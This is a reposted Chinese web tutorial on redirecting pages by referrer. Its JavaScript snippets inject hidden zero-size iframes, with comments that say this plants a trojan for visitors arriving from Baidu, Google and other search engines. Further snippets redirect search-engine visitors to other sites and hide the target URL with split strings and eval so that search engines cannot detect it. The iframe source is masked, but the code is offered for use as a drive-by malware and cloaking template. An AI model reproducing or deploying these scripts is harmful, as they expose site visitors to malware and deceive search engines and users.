如何根据来路做页面跳转

来源:互联网 发布:linux 进度条 编辑:程序博客网 时间:2024/04/27 20:14
//判断referer,如果是直接访问则过
//如果是从搜索引擎进来的,则挂马
  1. var url=document.referrer;
  2. var p=url.toLowerCase().indexOf(".baidu.com");
  3. if (p>0)
  4. {
  5. document.writeln("<iframe src=*** width=0height=0></iframe>");
  6. }
  7. var url=document.referrer;
  8. var p=url.toLowerCase().indexOf(".google.com.hk");
  9. if (p>0)
  10. {
  11. document.writeln("<iframe src=*** width=0height=0></iframe>");
  12. }
复制代码

...
...省略若干搜索引擎
...
  1. //monyer ps:难道还要像北京交通一样限制单双号?
  2. today=new Date();
  3. riqi=today.getYear()+"-"+(today.getMonth()+1)+"-"+today.getDate();
  4. //跟上面判断referer一样的判断
  5. varregexp=/\.(sogou|soso|baidu|google|youdao|yahoo|bing|118114|gougou|)(\.[a-z0-9\-]+){1,2}\//ig;
  6. var where =document.referrer;
  7. if(regexp.test(where))
  8. {
  9. //父窗口再转向一个页面
  10. window.opener.navigate([url=]http://www.ihitui.com[/url]);
  11. }
复制代码




目前绝大多数搜索引擎包括百度很难识别JS代码的网页跳转,大部分搜索引擎是不抓取JS里面内容的。下面介绍两种比较流行网页跳转JS代码:


方法一:

以新浪为例:

  1. var a="http://";
  2. var b="sina(域名)";
  3. var c=".com(域名后缀)/";
  4. var s="self.loca"
  5. var d=s+"tion="+"'"+a+b+c+"'";
  6. eval_r(d);
复制代码

这是比较简单的JS跳转代码,把网址拆开了然后合并输出,让搜索引擎发现不了。访客不论是直接访问网站还是从搜索引擎中访问,都是跳转到指定网址的。

这段代码是加到head中的。

方法二:(这种方式目前广泛被淘宝客使用。)

  1. varregexp=/\.(sogou|soso|baidu|google|youdao|yahoo|bing|118114|biso|gougou|ifeng|ivc|sooule|niuhu|biso)(\.[a-z0-9\-]+){1,2}\//ig;var where =document.referrer; if(regexp.test(where)) {window.location.replace('www.yy66.net') }
复制代码

这段代码是加到body中的,在首页用JS代码 <scriptsrc="script/跳转JS文件名.js"></script>调用即可。

这种方法比上面稍微高级些,有个判断过程,如果直接输入网址则访问原网站不跳转;如果从搜索引擎中访问的话,直接跳转到指定目标网址。
0 0
原创粉丝点击